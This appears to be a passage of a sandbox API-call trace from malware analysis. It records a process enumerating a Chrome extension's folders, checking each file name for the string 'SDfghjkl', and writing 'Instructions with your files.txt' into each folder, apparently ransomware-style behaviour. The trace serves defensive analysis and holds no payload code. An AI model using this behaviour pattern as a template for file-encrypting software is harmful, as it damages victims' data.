[0129.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.883] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\.") returned 140
[0129.883] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.883] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\..") returned 141
[0129.883] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a0bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.html", cAlternateFileName="CRAW_W~1.HTM")) returned 1
[0129.883] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\craw_window.html") returned 155
[0129.883] StrStrIW (lpFirst="craw_window.html", lpSrch="SDfghjkl") returned 0x0
[0129.883] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a0bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.html", cAlternateFileName="CRAW_W~1.HTM")) returned 0
[0129.883] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\Instructions with your files.txt") returned 171
[0129.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.883] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.884] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.884] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.885] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.885] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.885] CloseHandle (hObject=0x130) returned 1
[0129.885] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.885] GetProcessHeap () returned 0x810000
[0129.885] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.885] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
[0129.885] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images") returned 140
[0129.885] GetProcessHeap () returned 0x810000
[0129.885] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.885] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*") returned 142
[0129.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.887] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\.") returned 142
[0129.887] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828a32c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.887] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\..") returned 143
[0129.887] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828a80e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828aa7f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0x112dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="flapper.gif", cAlternateFileName="")) returned 1
[0129.887] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif") returned 152
[0129.887] StrStrIW (lpFirst="flapper.gif", lpSrch="SDfghjkl") returned 0x0
[0129.887] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828af610, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1109, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png") returned 153
[0129.888] StrStrIW (lpFirst="icon_128.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828c7cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png") returned 152
[0129.888] StrStrIW (lpFirst="icon_16.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ccad0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ccad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button.png", cAlternateFileName="TOPBAR~1.PNG")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 167
[0129.888] StrStrIW (lpFirst="topbar_floating_button.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828cf1e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d18f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button_close.png", cAlternateFileName="TOPBAR~2.PNG")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png") returned 173
[0129.888] StrStrIW (lpFirst="topbar_floating_button_close.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d6710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d6710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button_hover.png", cAlternateFileName="TOPBAR~3.PNG")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 173
[0129.888] StrStrIW (lpFirst="topbar_floating_button_hover.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d8e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d8e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button_maximize.png", cAlternateFileName="TOPBAR~4.PNG")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 176
[0129.888] StrStrIW (lpFirst="topbar_floating_button_maximize.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ddc40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ddc40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button_pressed.png", cAlternateFileName="TOF9E1~1.PNG")) returned 1
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 175
[0129.888] StrStrIW (lpFirst="topbar_floating_button_pressed.png", lpSrch="SDfghjkl") returned 0x0
[0129.888] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ddc40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ddc40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe7591500, ftLastWriteTime.dwHighDateTime=0x1ce931e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="topbar_floating_button_pressed.png", cAlternateFileName="TOF9E1~1.PNG")) returned 0
[0129.888] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\Instructions with your files.txt") returned 173
[0129.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.889] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.889] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.890] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.890] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.890] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.890] CloseHandle (hObject=0x130) returned 1
[0129.890] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.890] GetProcessHeap () returned 0x810000
[0129.890] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.890] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826545a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e2a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aa3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0129.890] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json") returned 147
[0129.890] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0129.890] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0129.890] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales") returned 142
[0129.890] GetProcessHeap () returned 0x810000
[0129.890] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.890] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*") returned 144
[0129.890] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.892] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\.") returned 144
[0129.892] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82665710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828836f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828836f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.892] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\..") returned 145
[0129.892] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.892] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg") returned 145
[0129.892] GetProcessHeap () returned 0x810000
[0129.892] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.892] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*") returned 147
[0129.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
